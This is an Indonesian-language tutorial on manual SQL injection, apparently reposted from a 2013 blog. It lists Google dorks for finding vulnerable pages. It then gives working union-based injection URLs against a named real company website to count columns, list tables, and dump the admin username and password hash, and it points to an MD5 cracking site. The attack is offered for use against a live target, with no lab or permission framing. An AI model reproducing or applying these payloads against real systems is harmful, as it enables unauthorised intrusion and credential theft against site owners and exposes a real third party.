Oke saya akan memberikan Tutorial tentang SQLI Secara Manual .
Siapkan Google Dork terlebih dahulu.
Oke , saya sudah mempersiapkan Google Dorknya untuk Anda
- inurl:index.php?id=
- inurl:article.php?ID=
-
inurl:games.php?id=
-
inurl:newsDetail.php?id=
-
inurl:gallery.php?id=
- inurl:products-details.php?cid=
Saya menggunakan dork
inurl:products-details.php?cid= dan saya sudah mendapatkan target untuk sebagai bahan percobaan , ini dia targetnya
http://www.speedwerx.com.au/products-details.php?cid=&pid=12
Untuk mengecek website itu mempunyai bug atau tidak dengan cara memasukan ( ' )
Contohnya :
http://www.speedwerx.com.au/products-details.php?cid=&pid=12'
Ternyata website itu mempunyai BUG , muncul pesan error seperti ini :
You have an error in your SQL syntax; check the manual that corresponds
to your MySQL server version for the right syntax to use near '' AND
f.id = a.user_id' at line 3
Tapi untuk target kali ini tidak muncul pesan tersebut .
Setelah kita menemukan error tadi, langkah selanjutnya kita harus mencari columnnya.
Gunakan perintah "+order+by+1--"
contoh : http://www.speedwerx.com.au/products-details.php?cid=&pid=12+order+by+1--
Pertama kita mulai dengan angka 1 , dan seterusnya sampai kita menemukan error lagi
http://www.speedwerx.com.au/products-details.php?cid=&pid=12+order+by+8--
Pada angka 8 , muncul pesan error :
"Invalid SQL: SELECT * FROM article WHERE id = 12 order by 8-- AND status = 1
MySQL Error: 1054 (Unknown column '8' in 'order clause')
Session halted."
Jadi angka yang diambil adalah 8-1 = 7 , berarti jumlah column yang kita ambil adalah 7. Selanjutnya kita akan mencari "
angka ajaib" dimana kita bisa melakukan injection dengan perintah [union+all+select]
Contoh :
http://www.speedwerx.com.au/products-details.php?cid=&pid=-12 union all select 1,2,3,4,5,6,7--
Tambahkan tanda ( - ) didepan angka cid , jadi seperti ini -12
Misalnya muncul "
angka ajaib" : 1 atau 2 atau 3. Kita pilih salah satunya saja. Kebetulan pada target tersebut munculnya angka
4 saja.
Selanjutnya kita cari versi Database MySql-nya dengan perintah [
version()] atau [
@@version] pada angka
4 (
Angka Ajaib)
Contoh :
http://www.speedwerx.com.au/products-details.php?cid=&pid=-12 union all select 1,2,3,version(),5,6,7--
Waahh , muncul tulisan berikut : 5.5.32-31.0 (Versi Database MySQL)
ternyata versi 5, versi 5 lebih mudah. Kalau targetnya mempunyai database MySQL versi 4, yang
kita lakukan yaitu menebak-nebak tablenya.
Selanjutnya kita akan mencari table-nya dengan perintah [group_concat(table_name)] pada salah satu angka ajaib.
Dan tambahkan [+from+information_schema.tables+where+table_schema=database()--] di belakang angka 12
Nah ini contohnya :
Akan muncul nama-nama tablenya :
tbl_accesslevels,tbl_admin,tbl_category,tbl_country,tbl_image,(masih banyak lagi)
Selanjutnya kita cari column dari table yg ada hubungannya dengan user+password admin, kita ambil tbl_admin
Hasilnya : 74626c5f61646d696e
Perintah selanjutnya adalah [
group_concat(column_name)] pada angka ajaib
5 dan [
+from+information_schema.columns+where+table_name=0xHEXA--] di akhir URL.
Ganti HEXA dengan hasil convert tadi yaitu :
74626c5f61646d696e tambahkan
0x didepan HEXA agar server dapat mengetahui bahwa itu telah diconvert ke HEXA
Seperti ini :
http://www.speedwerx.com.au/products-details.php?cid=&pid=-12
union all select 1,2,3,group_concat(column_name),5,6,7 from
information_schema.columns where table_name=0x74626c5f61646d696e--
Taraa,muncul column :
id,username,password
Untuk melihat isi dari column tersebut gunakan perintah [group_concat(column5,0x3a,column6)] pada angka ajaib 5 dan [
+from+NAMATABLE--] pada akhir URL.
Ganti
column5 dengan "
username" dan
column6 dengan "
password" 0x3a adalah tanda titik dua ( : ) yang telah diconvert ke HEXA. NAMA TABLE diganti dengan "
tbl_admin" untuk mengambil informasi dari table yang bernama "
tbl_admin"
Seperti ini :
http://www.speedwerx.com.au/products-details.php?cid=&pid=-12
union all select 1,2,3,group_concat(username,0x3a,password),5,6,7 from
tbl_admin--
We O We :D , Dapat hasilnya yaitu :
admin:64eeb794076e6f2ba7436430ca09d157
Password tersebut masih berbentuk hash dan harus di decrypt dulu. Kita bisa decrypt di
http://md5decrypter.co.uk
Content editor :
Muhammad Taregh Azzis
Sumber :
http://cahmuncar.blogspot.com/2013/05/tutorial-sql-injection-secara-manual.html